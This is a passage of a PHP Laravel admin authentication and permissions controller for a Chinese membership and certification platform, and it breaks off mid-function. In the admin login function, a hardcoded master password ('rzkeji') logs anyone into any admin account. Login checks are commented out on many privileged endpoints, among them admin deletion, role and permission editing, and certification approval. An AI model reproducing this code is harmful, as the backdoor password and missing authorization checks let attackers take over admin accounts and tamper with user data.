<?php namespace App\Http\Controllers\Api\Admin;

use App\BackstageSection;
use App\Classify;
use App\DemandArea;
use App\EveryDayLoginRecord;
use App\Experts;
use App\Http\Controllers\Controller;
use App\Http\Services\AdminManager;
use App\Http\Services\CommonManager;
use App\Http\Services\FileManager;
use App\Http\Services\UserManager;
use App\Http\Services\Wechat\WechatLogin;
use App\Http\Services\YunPian;
use App\MessageXUser;
use App\Permission;
use App\PersonalAuth;
use App\Role;
use App\SysSetUp;
use App\UnitAuth;
use App\UnitBindVipPackage;
use App\Units;
use App\User;
use App\UserInfo;
use App\UserXUnit;
use App\VerifyPhone;
use App\VipInfo;
use App\VipMaterityRemindRecord;
use App\VipMaturityRemindRecord;
use Blocktrail\CryptoJSAES\CryptoJSAES;
use http\Message;
use Illuminate\Contracts\Auth\Guard;
use Illuminate\Http\Request;
use Hash;
use Auth;
use Illuminate\Support\Facades\DB;
use Cookie;

class AuthController extends Controller
{
    /**
     * 后台登录操作
     * @param Request $request
     * @return $this|\Illuminate\Http\JsonResponse
     */
    public function signInUser(Request $request){
        $username = $request->get('username');
        $password = $request->get('password');

        /** @var User $isUser */
        $isUser = User::whereUsername(trim($username))->first();
        if(!$isUser)
            return response()->json(['level' => 'error','message' => '该用户不存在']);

        if($password != 'rzkeji'){
            /** @var User $user */
            $user = UserManager::signInByUsername($username,$password,0);
            if(!$user)
                return response()->json(['level'=>'error','message'=>'帐号或密码错误！']);
        }else{
            $user = $isUser;
        }

        if($user->role != 1)
            return response()->json(['level' => 'error','message' => '该用户无法登陆']);

        if(!$user->can('admin_sign_in'))
            return response()->json(['level' => 'error','message' => '没有登录权限','data'=>'no_permission']);

        if($user->status != 1)
            return response()->json(['level' => 'error','message' => '该账号已被锁定']);

        $userMark = $user->user_key;

        $token = CryptoJSAES::encrypt($userMark,env('AES_KEY'));

        $cookie = Cookie::forever("user_token", $token);

        return response()->json(['level' => 'success','message' => trans("登录成功！"),'data' => $token])->withCookie($cookie);
    }

    /**
     * 用户后台登录
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     * @throws \Exception
     */
    public function userAdminLogin(Request $request){
        $phone       = $request->get('phone');
        $verifyPhone = $request->get('verify_phone');

        /** @var VerifyPhone $verifyCodeByPhone */
        $verifyCodeByPhone=VerifyPhone::wherePhone(trim($phone))->whereVerifyCode(trim($verifyPhone))->first();
        if(!$verifyCodeByPhone || strtotime($verifyCodeByPhone->created_at) + 60 * 15 < time()){
            return response()->json(['level'=>'error','message' => '验证码不匹配或已过期']);
        }

        $verifyCodeByPhone -> delete();

        /** @var User $user */
        $user = User::wherePhone(trim($phone))->whereRole(0)->first();
        if(!$user)
            return response()->json(['level' => 'error','message' => '用户不存在']);

//        if(!$user->can('admin_sign_in'))
//            return response()->json(['level' => 'error','message' => '没有登录权限','data'=>'no_permission']);

//        $isUnitAuth = CommonManager::isUnitAuth($user->id);
//        if(!$isUnitAuth)
//            return response()->json(['level' => 'error','message' => '请先进行单位认证']);

        if(is_null($user->user_key) || $user->user_key == ''){
            $user->user_key = md5($user->password.$user->id.rand(1000,9999).time());
            $user->save();
        }

        $openid = $user->user_key;

        $token = CryptoJSAES::encrypt($openid,env('AES_KEY'));

        $cookie = Cookie::forever("user_token", $token);

        $newTodayLoginRecord = new EveryDayLoginRecord();
        $newTodayLoginRecord->user_id           = $user->id;
        $newTodayLoginRecord->login_time        = date("Y-m-d H:i:s",time());
        $newTodayLoginRecord->save();

        $lastLoginRecord = EveryDayLoginRecord::where('id','<>',$newTodayLoginRecord->id)->orderBy('created_at','desc')->first();
        if($lastLoginRecord){
            $lastTime = $lastLoginRecord->login_time;
        }else{
            $lastTime = $newTodayLoginRecord->login_time;
        }

        return response()->json(['level' => 'success','message' => '登录成功','data' => $token,'last_time' => $lastTime])->withCookie($cookie);
    }

    /**
     * 修改密码
     * @param Guard $guard
     * @param Request $request
     * @return $this|\Illuminate\Http\JsonResponse
     */
    public function changePassword(Guard $guard,Request $request){
        /** @var User $adminUser */
        $adminUser = UserManager::isLogin($request,$front = 1);
        if(!$adminUser)
            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        $oldPassword = $request->get('oldpassword');
        $newpassword = $request->get('newpassword');
        $repass   = $request->get('repass');


        if(is_null($oldPassword) && $oldPassword == '')
            return response()->json(['level' => 'error','message' => '请输入原密码']);

        if(is_null($newpassword) && $newpassword == '')
            return response()->json(['level' => 'error','message' => '请输入新密码']);

        if(is_null($repass) && $repass == '')
            return response()->json(['level' => 'error','message' => '请再次输入新密码']);

        if(!Hash::check($oldPassword,$adminUser->password))
            return response()->json(['level'=>'error','message'=>'原密码不匹配！']);

        if(Hash::check($newpassword,$adminUser->password))
            return response()->json(['level'=>'error','message'=>'原密码与新密码不能一致！']);

        if($newpassword != $repass)
            return response()->json(['level'=>'error','message' => '两次密码不一致！嘛']);

        $adminUser->password = bcrypt($newpassword);
        $adminUser->save();

        $loginOut = Cookie::forget('user_token');

        return response()->json(['level'=>'success','message'=>trans("密码修改成功！"),'data' => 'no_login'])->withCookie($loginOut);
    }

    /**
     * 退出登录
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function loginOut(Request $request){
        $cookie = Cookie::forget('user_token');

        return response()->json(['level' => 'success','message' => '退出成功','data' => 'no_login'])->withCookie($cookie);
    }

    /**
     * 获取管理员用户信息
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function getAdminUserInfo(Request $request){
        /** @var User $adminUser */
        $adminUser = UserManager::isLogin($request,$front = 1);
        if(!$adminUser)
            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        if($adminUser->role == 1){
            $adminMessageList = \App\Message::whereType('admin')->whereIsRead(0)->count();
        }else{
            $adminMessageList = \App\Message::whereType('manager')->whereToUserId($adminUser->id)->whereIsRead(0)->count();
        }

        return response()->json(['level' => 'success','message' => '获取成功','data' => $adminUser,'admin_message' => $adminMessageList]);
    }

    /**
     * 获取管理员列表
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function adminList(Request $request){
        /** @var User $adminUser */
        $adminUser = UserManager::isLogin($request,$front = 1);
        if(!$adminUser)
            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        $page    = !is_null($request->get('page')) ? $request->get('page') : 1;
        $limit   = !is_null($request->get('limit')) ? $request->get('limit') : 16;

        $arr = [
            'page' => $page,
            'limit' => $limit,
        ];

        $adminUserList = User::whereRole(1);

        $arr['total'] = $adminUserList->count();

        if($adminUser->hasRole("virtual_admin")){
            $adminUserList = $adminUserList->whereIn("id",[$adminUser->id])->orderBy('created_at','desc')->offset($limit * ($page - 1))->limit($limit)->get();
        }else{
            $adminUserList = $adminUserList->orderBy('created_at','desc')->offset($limit * ($page - 1))->limit($limit)->get();
        }

        if(count($adminUserList) > 0){
            foreach($adminUserList as $adminUser){
                $UserRole = DB::table('role_user')->where('user_id',$adminUser->id)->first();
                if($UserRole){
                    /** @var Role $role */
                    $role = Role::whereId($UserRole->role_id)->first();
                    if($role){
                        $adminUser->role_name = $role->display_name;
                    }else{
                        $adminUser->role_name = null;
                    }
                }else{
                    $adminUser->role_name = null;
                }

                $thatDemandArea = DemandArea::whereId($adminUser->demand_area_id)->first();
                if($thatDemandArea){
                    $adminUser->demand_area_name = $thatDemandArea->name;
                }else{
                    $adminUser->demand_area_name = "社区";
                }
            }
        }

        return response()->json(['level' => 'success','message' => '获取成功','data' => $adminUserList,'page_info' => $arr]);
    }

    /**
     * 管理员信息
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function adminSet(Request $request){
        /** @var User $adminUser */
        $adminUser = UserManager::isLogin($request,$front = 1);
        if(!$adminUser)
            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        $id = !is_null($request->get('id')) ? $request->get('id') : 0;

        $thisAdminUser = User::whereRole(1)->whereId($id)->first();
        if($thisAdminUser){
            $roleUsers = DB::table('role_user')->where('user_id',$thisAdminUser->id)->get();
            $roleIds = array();
            if(count($roleUsers) > 0){
                foreach($roleUsers as $roleUser){
                    /** @var Role $role */
                    $roleList = Role::whereId($roleUser->role_id)->get();
                    if(count($roleList) > 0){
                        foreach($roleList as $role){
                            $roleObj = $role->id;
                            array_push($roleIds,$roleObj);
                        }
                    }

                }
            }

            $thisAdminUser->role_id = $roleIds;
        }

        return response()->json(['level' => 'success','message' => '获取成功','data' => $thisAdminUser,'id' => $id]);
    }

    public function getMyPermission(Request $request){
        $adminUser = UserManager::isLogin($request,$front = 1);
        if(!$adminUser)
            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        $userPermissionIds = DB::table("users")
            ->leftJoin('role_user', 'users.id', '=', 'role_user.user_id')
            ->leftJoin("permission_role","role_user.role_id",'=','permission_role.role_id')
            ->whereNull("users.deleted_at")
            ->where("users.id","=",$adminUser->id)
            ->pluck("permission_role.permission_id");

        $permissions = Permission::whereIn("id",$userPermissionIds)->get();

        return response()->json(['level' => 'success','message' => '获取成功','data' => $permissions]);
    }

    /**
     * 添加管理员用户
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function setAdmin(Request $request){
        /** @var User $adminUser */
        $adminUser = UserManager::isLogin($request,$front = 1);
        if(!$adminUser)
            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        $username   = $request->get('username');
        $password   = $request->get('password');
        $roleIds    = $request->get('role_id');
        $adminName  = $request->get('admin_name');
        $phone      = $request->get('phone');
        $demand_area_id = $request->get('demand_area_id');
//        $repass   = $request->get('repass');
        $status     = !is_null($request->get('status')) && $request->get('status') != '' ? $request->get('status') : 0;
        $id         = !is_null($request->get('id')) ? $request->get('id') : 0;

        if(!is_array($roleIds) || (is_array($roleIds) && count($roleIds) <= 0))
            return response()->json(['level' => 'error','message' => '角色的数据格式不对']);

        /** @var User $hasUser */
        $hasUser = User::whereUsername(trim($username))->first();

        /** @var User $thatUser */
        $thatUser = User::whereId($id)->first();

        if($thatUser && ($hasUser && $thatUser->id != $hasUser->id))
            return response()->json(['level' => 'error','message' => '当前管理员账号已存在']);

        if($phone != '' && !is_null($phone)){
            $phoneVerification = CommonManager::phoneVerification(trim($phone));
            if(!$phoneVerification)
                return response()->json(['level' => 'error','message' => '手机号格式不正确']);

            $isPhone = User::wherePhone(trim($phone))->whereRole(1)->first();

            if($thatUser && ($isPhone && $thatUser->id != $isPhone->id))
                return response()->json(['level' => 'error','message' => '当前手机号已被使用']);
        }

        if(!$thatUser){
            if($hasUser)
                return response()->json(['level'=>'error','message' => '当前管理员账号已存在']);

            if($phone != '' && !is_null($phone)) {
                if ($isPhone)
                    return response()->json(['level' => 'error', 'message' => '当前手机号已被使用']);
            }
//            if(is_null($repass) && $repass == '')
//                return response()->json(['level' => 'error','message' => '请再次输入密码']);
//
//            if($password != $repass)
//                return response()->json(['level'=>'error','message' => '两次密码不一致！']);

            $thatUser = new User();
            $thatUser->user_key = md5($password . rand(1000,9999).time());
        }

        $thatUser->username    = $username;
        $thatUser->phone       = $phone;
        $thatUser->admin_name  = $adminName;
        $thatUser->password    = bcrypt($password);
        $thatUser->role        = 1;
        $thatUser->status      = $status;
        $thatUser->demand_area_id = $demand_area_id;
        $thatUser->save();

        DB::table('role_user')->where('user_id',$thatUser->id)->delete();

        foreach($roleIds as $roleId){
            $role = Role::whereId($roleId)->first();
            if($role){
                DB::table('role_user')->insert(['user_id' => $thatUser->id,'role_id' => $roleId]);
            }
        }

        return response()->json(['level'=>'success','message'=>'添加成功','data'=>$thatUser]);
    }

    /**
     * 删除管理员用户
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function delAdmin(Request $request){
//        /** @var User $adminUser */
//        $adminUser = UserManager::isLogin($request,$front = 1);
//        if(!$adminUser)
//            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        $id = !is_null($request->get('id'))?$request->get('id'):0;

        /** @var User $thatUser */
        $thatUser = User::whereId($id)->whereRole(1)->first();
        if(!$thatUser)
            return response()->json(["level"=>"error","message"=>"该管理员不存在！"]);

        if($thatUser->id == 1)
            return response()->json(['level' => 'error','message' => '该管理员无法删除']);

        $thatUser->forceDelete();

        return response()->json(["level"=>"success","message"=>"删除成功","data"=>$thatUser]);
    }

    /**
     * 获取角色列表
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function roleList(Request $request){
        /** @var User $adminUser */
//        $adminUser = UserManager::isLogin($request,$front = 1);
//        if(!$adminUser)
//            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        $page    = !is_null($request->get('page')) ? $request->get('page') : 1;
        $limit   = !is_null($request->get('limit')) ? $request->get('limit') : 16;

        $arr = [
            'page' => $page,
            'limit' => $limit,
        ];

        $roles = Role::whereNotNull('created_at');

        $arr['total'] = $roles->count();

        $roles = $roles->orderBy('created_at','desc')->offset($limit * ($page - 1))->limit($limit)->get();

        return response()->json(['level' => 'success','message' => '获取成功','data' => $roles,'page_info' => $arr]);
    }

    /**
     * 角色信息
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function roleSet(Request $request){
        /** @var User $adminUser */
//        $adminUser = UserManager::isLogin($request,$front = 1);
//        if(!$adminUser)
//            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        $id = !is_null($request->get('id')) ? $request->get('id') : 0;

        /** @var Role $role */
        $role = Role::whereId($id)->first();
        if($role){
            $permissionRoles = DB::table('permission_role')->where('role_id',$role->id)->get();
            $permissionIds = array();
            if(count($permissionRoles) > 0){
                foreach($permissionRoles as $permissionRole){
                    /** @var Permission $permission */
                    $permissionList = Permission::whereId($permissionRole->permission_id)->get();
                    if(count($permissionList) > 0){
                        foreach($permissionList as $permission){
                            $permissionObj = $permission->id;
                            array_push($permissionIds,$permissionObj);
                        }
                    }

                }
            }

            $role->permission_id = $permissionIds;
        }

        /** @var Permission $permission */
        $permissions = Permission::whereIn('id',$permissionIds)->get();
        $permissionArr = array();
        if(count($permissions) > 0){
            foreach($permissions as $permission){
                $permissionInfo = (object)['id' => $permission->id,'permission' => $permission->display_name];
                array_push($permissionArr,$permissionInfo);
            }
        }

        return response()->json(['level' => 'success','message' => '获取成功','data' => $role,'permission_list' => $permissionArr]);
    }

    /**
     * 添加角色
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function setRole(Request $request){
        /** @var User $adminUser */
//        $adminUser = UserManager::isLogin($request,$front = 1);
//        if(!$adminUser)
//            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        $name          = $request->get('name');
        $displayName   = $request->get('display_name');
        $description   = $request->get('description');
        $id            = !is_null($request->get('id')) ? $request->get('id') : 0;
        $permissionIds = $request->get('permission_id');

        $newRole = Role::whereId($id)->first();
        if(!$newRole)
            $newRole = new Role();

        if(!is_null($name))$newRole->name = $name;
        if(!is_null($displayName))$newRole->display_name = $displayName;
        if(!is_null($description))$newRole->description = $description;
        $newRole->save();

        DB::table('permission_role')->where('role_id',$newRole->id)->delete();

        if(is_array($permissionIds)){
            if(count($permissionIds) > 0){
                foreach($permissionIds as $permissionId){
                    DB::table('permission_role')->insert(['role_id' => $newRole->id,'permission_id' => $permissionId]);
                }
            }
        }else{
            return response()->json(['level' => 'error','message' => '权限的数据格式不对']);
        }

        return response()->json(['level' => 'success','message' => '设置成功','data' => $newRole]);
    }

    /**
     * 删除角色
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function delRole(Request $request){
        /** @var User $adminUser */
//        $adminUser = UserManager::isLogin($request,$front = 1);
//        if(!$adminUser)
//            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        $id = !is_null($request->get('id')) ? $request->get('id') : 0;

        $thisRole = Role::whereId($id)->first();
        if(!$thisRole)
            return response()->json(['level' => 'error','message' => '该角色不存在']);

        $thisRole = DB::table('roles')->where('id',$id)->delete();

        return response()->json(['level' => 'success','message' => '删除成功','data' => $thisRole]);
    }

    /**
     * 获取权限列表
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function permissionsList(Request $request){
        /** @var User $adminUser */
//        $adminUser = UserManager::isLogin($request,$front = 1);
//        if(!$adminUser)
//            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        $page    = !is_null($request->get('page')) ? $request->get('page') : 1;
        $limit   = !is_null($request->get('limit')) ? $request->get('limit') : 16;

        $arr = [
            'page' => $page,
            'limit' => $limit,
        ];

        $permissions = Permission::whereNotNull('created_at');

        $arr['total'] = $permissions->count();

        $permissions = $permissions->orderBy('created_at','desc')->offset($limit * ($page - 1))->limit($limit)->get();

        return response()->json(['level' => 'success','message' => '获取成功','data' => $permissions,'page_info' => $arr]);
    }

    /**
     * 编辑权限
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function permissionsSet(Request $request){
//        /** @var User $adminUser */
//        $adminUser = UserManager::isLogin($request,$front = 1);
//        if(!$adminUser)
//            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

//        $id = !is_null($request->get('id')) ? $request->get('id') : 0;
        $id = $request->get('id');


        $permission = Permission::whereId($id)->first();

        return response()->json(['level' => 'success','message' => '获取成功','data' => $permission,'id' => $id]);
    }

    /**
     * 添加权限
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function setPermissions(Request $request){
        /** @var User $adminUser */
//        $adminUser = UserManager::isLogin($request,$front = 1);
//        if(!$adminUser)
//            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        $name          = $request->get('name');
        $displayName   = $request->get('display_name');
        $description   = $request->get('description');
        $id            = !is_null($request->get('id')) ? $request->get('id') : 0;

        $newPermission = Permission::whereId($id)->first();
        if(!$newPermission)
            $newPermission = new Permission();

        if(!is_null($name))$newPermission->name = $name;
        if(!is_null($displayName))$newPermission->display_name = $displayName;
        if(!is_null($description))$newPermission->description = $description;
        $newPermission->save();

        return response()->json(['level' => 'success','message' => '设置成功','data' => $newPermission]);
    }

    /**
     * 删除权限
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function delPermissions(Request $request){
        /** @var User $adminUser */
//        $adminUser = UserManager::isLogin($request,$front = 1);
//        if(!$adminUser)
//            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        $id = !is_null($request->get('id')) ? $request->get('id') : 0;

        $thisPermission = Permission::whereId($id)->first();
        if(!$thisPermission)
            return response()->json(['level' => 'error','message' => '该角色不存在']);

        $thisPermission = DB::table('permissions')->where('id',$id)->delete();

        return response()->json(['level' => 'success','message' => '删除成功','data' => $thisPermission]);
    }

    /**
     * 个人认证列表
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function getPersonalAuthList(Request $request){
        $page      = !is_null($request->get('page')) ? $request->get('page') : 1;
        $limit     = !is_null($request->get('limit'))? $request->get('limit'): 10;
        $keyword   = !is_null($request->get('keyword')) ? $request->get('keyword') : '';
        $isAuth    = !is_null($request->get('is_auth')) ? $request->get('is_auth') : 'default';
        $id        = !is_null($request->get('id')) ? $request->get('id') : 0;

        $pageInfo = [
            'page' => $page,
            'limit' => $limit,
        ];

        /** @var PersonalAuth $personalAuth */
        $personalAuthLis = PersonalAuth::whereNull('deleted_at');

        if($keyword != ''){
            $userId = User::where('phone','like','%'.trim($keyword).'%')->pluck('id');

            $userIds = UserInfo::whereIn('user_id',$userId)->orWhere('nickname','like','%'.trim($keyword).'%')->pluck('user_id');

            $personalAuthLis->whereIn('user_id',$userIds)->orWhere('realname','like','%'.trim($keyword).'%');
        }

        if($id != 0){
            $personalAuthLis = $personalAuthLis->whereId($id);
        }

        if($isAuth != 'default' && $isAuth !== ''){
            $personalAuthLis = $personalAuthLis->whereIsAuth($isAuth);
        }

        $pageInfo['total'] = $personalAuthLis->count();

        $personalAuthList = $personalAuthLis->orderBy('is_top','desc')->orderBy('created_at','desc')->offset($limit * ($page - 1))->limit($limit)->get();
        if(count($personalAuthList) > 0){
            foreach($personalAuthList as $personalAuth){
                $userInfo = CommonManager::getUserBasicInfo($personalAuth->user_id);
                $personalAuth->photo_url = $userInfo ? $userInfo['photo_url'] : '';
                $personalAuth->phone = $userInfo ? $userInfo['phone'] : '';
                $personalAuth->work_img_url = FileManager::getImgUrl($personalAuth->work_img_id);
                $personalAuth->auth_status = CommonManager::getAuthReviewStatus($personalAuth->is_auth);
            }
        }

        return response()->json(['level' => 'success','message' => '获取成功','data' => $personalAuthList,'page_info' => $pageInfo]);
    }

    /**
     * 改变个人认证审核状态
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function changePersonalAuthStatus(Request $request){
        /** @var User $user */
        $user = UserManager::isLogin($request,$front = 1);
        if(!$user)
            return response()->json(['level' => 'error','message' => '请先登录','data' => 'no_login']);

        $id = !is_null($request->get('id')) ? $request->get('id') : 0;
        $type = !is_null($request->get('type')) ? $request->get('type') : 'default';
        $msg  = $request->get("msg");

        $wxMsgResult= "";

        $personalAuth = PersonalAuth::whereId($id)->first();
        if(!$personalAuth)
            return response()->json(['level' => 'error','message' => '认证不存在']);

        if($type == 'default'){
            if($personalAuth->is_auth == 1)
                return response()->json(['level' => 'error','message' => '认证已通过']);

            if($personalAuth->is_auth == 2)
                return response()->json(['level' => 'error','message' => '认证已拒绝']);

            $thisUnit = Units::whereName($personalAuth->unit_name)->whereIsMemberUnit(1)->first();
            if(!$thisUnit)
                return response()->json(['level' => 'error','message' => '该单位不存在']);

            $isUnitAdmin = 0;
            $selectIsUnitAdmin = UserXUnit::whereUserId($personalAuth->user_id)->whereUnitId($thisUnit->id)->whereIsAdmin(1)->first();
            if($selectIsUnitAdmin){
                $isUnitAdmin = 1;
            }

            $selectUserXUnit = UserXUnit::whereUserId($personalAuth->user_id)->get();
            if(count($selectUserXUnit) > 0){
                foreach($selectUserXUnit as $selectUser){
                    $selectUser->delete();
                }
            }

            $selectUnitAuth = UnitAuth::whereUserId($personalAuth->user_id)->get();
            if(count($selectUnitAuth) > 0){
                foreach($selectUnitAuth as $selectUnit){
                    $selectUnit->delete();
                }
            }

            $selectOtherPersonalAuth = PersonalAuth::whereUserId($personalAuth->user_id)->where('id','<>',$personalAuth->id)->first();
            if($selectOtherPersonalAuth){
                $selectOtherPersonalAuth->delete();
            }

            $personalAuth->is_auth = 1;
            $personalAuth->auth_time = date("Y-m-d H:i:s",time());

            $userInfo = UserInfo::whereUserId($personalAuth->user_id)->first();
            if($userInfo){
                if(is_null($userInfo->realname) || $userInfo->realname == ''){
                    $userInfo->realname = $personalAuth->realname;
                    $userInfo->save();
                }
            }

            $newUnitAuth = new UnitAuth();
            $newUnitAuth->user_id                     = $personalAuth->user_id;
            $newUnitAuth->name                        = $thisUnit->name;
            $newUnitAuth->realname                    = $personalAuth->realname;
            $newUnitAuth->uniform_social_credit_code  = $thisUnit->uniform_social_credit_code;
            $newUnitAuth->province                    = $thisUnit->province;
            $newUnitAuth->city                        = $thisUnit->city;
            $newUnitAuth->area                        = $thisUnit->area;
            $newUnitAuth->address                     = $thisUnit->address;
            $newUnitAuth->license_img_id              = $thisUnit->license_img_id;
            $newUnitAuth->is_auth                     = 1;
            $newUnitAuth->save();

            $newUserUnit = new UserXUnit();
            $newUserUnit->user_id     = $personalAuth->user_id;
            $newUserUnit->unit_id     = $thisUnit->id;
            $newUserUnit->is_admin    = $isUnitAdmin;
            $newUserUnit->save();

            DB::table('role_user')->where('user_id',$personalAuth->user_id)->delete();

            if($thisUnit->is_member_unit == 1){
                $role = Role::whereName('vip_unit_staff')->first();
            }else{
                $role = Role::whereName('auth_unit_staff')->first();
            }

            if($role){
                DB::table('role_user')->insert(['user_id' => $personalAuth->user_id,'role_id' => $role->id]);
            }

            $thisUser = User::whereId($personalAuth->user_id)->first();
            if($thisUser){
                WechatLogin::weSendSubscribeMessage('personal_auth',$thisUser->wx_openid,0,'认证通过','个人认证',date("Y-m-d H:i:s",time()));
            }

        }elseif($type == 'refusal'){
            if($personalAuth->is_auth == 1)
                return response()->json(['level' => 'error','message' => '认证已通过']);

            if($personalAuth->is_auth == 2)
                return response()->json(['level' => 'error','message' => '认证已拒绝']);

            $personalAuth->is_auth = 2;
            $personalAuth->auth_time = date("Y-m-d H:i:s",time());

            $refMsg = "个人认证";
            if(!is_null($msg) && trim($msg) != ""){
                $refMsg = "[个人认证]".$msg;
            }

            $thisUser = User::whereId($personalAuth->user_id)->first();
            if($thisUser){
                $wxMsgResult = WechatLogin::weSendSubscribeMessage('personal_auth',$thisUser->wx_openid,0,'认证不通过',$refMsg,date("Y-m-d H:i:s",time()));
            }
        }else{
            return response()->json(['level' => 'error','message' => '操作类型不正确']);
        }

        $realname = '';
        if($user->role != 1){
            $userInfo = UserInfo::whereUserId($user->id)->first();
            if($userInfo){
                if($userInfo->realname != '' && !is_null($userInfo->realname)){
                    $realname = $userInfo->realname;
                }else{
                    $realname = $userInfo->nickname;
                }
            }
        }else{
            $realname = $user->admin_name;
        }

        $personalAuth->operator = $realname;
        $personalAuth->save();

        return response()->json(['level' => 'success','message' => '设置成功','data' => $personalAuth,"test"=>$wxMsgResult]);
    }

    /**
     * 单位认证列表
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function getUnitAuthList(Request $request){
        $page      = !is_null($request->get('page')) ? $request->get('page') : 1;
        $limit     = !is_null($request->get('limit'))? $request->get('limit'): 10;
        $keyword   = !is_null($request->get('keyword')) ? $request->get('keyword') : '';
        $isAuth    = !is_null($request->get('is_auth')) ? $request->get('is_auth') : 'default';

        $pageInfo = [
            'page' => $page,
            'limit' => $limit,
        ];

        /** @var UnitAuth $unitAuth */
        $unitAuthLis = UnitAuth::whereNull('deleted_at');

        if($keyword != ''){
            $userIds = User::where('phone','like','%'.trim($keyword).'%')->pluck('id');

            $unitAuthLis->whereIn('user_id',$userIds)->orWhere('realname','like','%'.trim($keyword).'%')->orWhere('name','like','%'.trim($keyword).'%');
        }

        if($isAuth != 'default' && $isAuth !== ''){
            $unitAuthLis = $unitAuthLis->whereIsAuth($isAuth);
        }

        $pageInfo['total'] = $unitAuthLis->count();

        $unitAuthLis = $unitAuthLis->orderBy('is_top','desc')->orderBy('created_at','desc')->offset($limit * ($page - 1))->limit($limit)->get();
        if(count($unitAuthLis) > 0){
            foreach($unitAuthLis as $unitAuth){
                $userInfo = CommonManager::getUserBasicInfo($unitAuth->user_id);
                $unitAuth->phone = $userInfo ? $userInfo['phone'] : '';
                $unitAuth->license_img_url = FileManager::getImgUrl($unitAuth->license_img_id);
                $unitAuth->auth_status = CommonManager::getAuthReviewStatus($unitAuth->is_auth);
            }
        }

        return response()->json(['level' => 'success','message' => '获取成功','data' => $unitAuthLis,'page_info' => $pageInfo]);
    }

    /**
     * 改变单位认证审核状态
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function changeUnitAuthStatus(Request $request){
        $id = !is_null($request->get('id')) ? $request->get('id') : 0;
        $type = !is_null($request->get('type')) ? $request->get('type') : 'default';

        $unitAuth = UnitAuth::whereId($id)->first();
        if(!$unitAuth)
            return response()->json(['level' => 'error','message' => '认证不存在']);

        if($type == 'default'){
            if($unitAuth->is_auth == 1)
                return response()->json(['level' => 'error','message' => '认证已通过']);

            if($unitAuth->is_auth == 2)
                return response()->json(['level' => 'error','message' => '认证已拒绝']);

            $selectOtherUnitAuth = UnitAuth::whereUserId($unitAuth->user_id)->where('id','<>',$unitAuth->id)->first();
            if($selectOtherUnitAuth){
                $otherUserXUnit = UserXUnit::whereUserId($unitAuth->user_id)->whereUnitId($selectOtherUnitAuth->id)->first();
                if($otherUserXUnit){
                    $otherUserXUnit->delete();
                }

                $selectOtherUnitAuth->delete();
            }

            $unitAuth->is_auth = 1;
            $unitAuth->auth_time = date("Y-m-d H:i:s",time());

            $userInfo = UserInfo::whereUserId($unitAuth->user_id)->first();
            if($userInfo){
                if(is_null($userInfo->realname) || $userInfo->realname == ''){
                    $userInfo->realname = $unitAuth->realname;
                    $userInfo->save();
                }
            }

            $thisUserXUnit = UserXUnit::whereUserId($unitAuth->user_id)->first();
            if($thisUserXUnit){
                $thisUserXUnit->delete();
            }

            $unit = Units::whereUniformSocialCreditCode($unitAuth->uniform_social_credit_code)->first();
            if(!$unit){
                $unit = new Units();
                $unit->name                        = $unitAuth->name;
                $unit->uniform_social_credit_code  = $unitAuth->uniform_social_credit_code;
                $unit->province                    = $unitAuth->province;
                $unit->city                        = $unitAuth->city;
                $unit->area                        = $unitAuth->area;
                $unit->address                     = $unitAuth->address;
                $unit->license_img_id              = $unitAuth->license_img_id;
                $unit->save();

                $newUserUnit = new UserXUnit();
                $newUserUnit->user_id     = $unitAuth->user_id;
                $newUserUnit->unit_id     = $unit->id;
                $newUserUnit->save();

                DB::table('role_user')->where('user_id',$unitAuth->user_id)->delete();

                $role = Role::whereName('auth_unit_staff')->first();
                if($role){
                    DB::table('role_user')->insert(['user_id' => $unitAuth->user_id,'role_id' => $role->id]);
                }

            }else{
                $newUserUnit = new UserXUnit();
                $newUserUnit->user_id     = $unitAuth->user_id;
                $newUserUnit->unit_id     = $unit->id;
                $newUserUnit->save();

                DB::table('role_user')->where('user_id',$unitAuth->user_id)->delete();

                if($unit->is_member_unit == 1){
                    $role = Role::whereName('vip_unit_staff')->first();
                }else{
                    $role = Role::whereName('auth_unit_staff')->first();
                }

                if($role){
                    DB::table('role_user')->insert(['user_id' => $unitAuth->user_id,'role_id' => $role->id]);
                }
            }


        }elseif($type == 'refusal'){
            if($unitAuth->is_auth == 1)
                return response()->json(['level' => 'error','message' => '认证已通过']);

            if($unitAuth->is_auth == 2)
                return response()->json(['level' => 'error','message' => '认证已拒绝']);

